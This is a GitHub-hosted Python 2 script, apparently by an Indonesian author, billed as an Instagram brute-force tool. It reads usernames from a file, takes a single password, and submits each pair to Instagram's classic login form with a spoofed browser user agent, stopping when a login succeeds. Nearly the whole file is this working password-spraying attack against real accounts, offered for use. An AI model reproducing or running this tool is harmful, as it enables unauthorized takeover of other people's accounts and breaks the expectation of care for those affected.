-
Notifications
You must be signed in to change notification settings - Fork 15
/
CMDbrute.py
78 lines (69 loc) · 2.11 KB
/
CMDbrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/bin/bash
# For CMD Windows
# jangan ganti jika ingin dihargai
# script By Kancot1ST
# IG Brute Force v.0.1
# Contact Me :
# 7/9/2018
"""
Line : lazz110
"""
import mechanize
import platform,os
br = mechanize.Browser()
f = open('username.txt')
def options():
br.set_handle_robots(False)
br.set_handle_refresh(False)
br.set_handle_gzip(False)
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_redirect(True)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Iceweasel/31.5.0')]
mulai()
def keluar():
print "[!] Keluar ..."
f.close()
os.sys.exit()
def mulai():
try:
username = f.readline()
print ""
password = raw_input("Password : ")
while username:
print ("[+] Mencoba Username : "+username)
br.open("https://www.instagram.com/accounts/login/?force_classic_login")
br.select_form(nr=0)
br.form[ 'username' ] = username.strip()
br.form[ 'password' ] = password
br.submit()
log = br.geturl()
print log
if log == "https://www.instagram.com/":
print "[+] Berhasil Login ..."
keluar()
else:
os.system("cls")
username = f.readline()
except:
f.close()
def menu():
print "__ __ "
print "| | _______ ____ ____ _____/ |_ ============================"
print "| |/ /\__ \ / \_/ ___\/ _ \ __\ https://github.com/kancotdiq"
print "| < / __ \| | \ \__( <_> ) | Wa : ************"
print "|__|_ \(____ /___| /\___ >____/|__| Line : lazz110"
print " \/ \/ \/ \/ ============================"
print ""
print "[1] Mulai"
print "[2] Keluar"
print " "
pilih = input("Pilih [1/2] : ")
if pilih == 1:
options()
else:
keluar()
if __name__ == "__main__":
menu()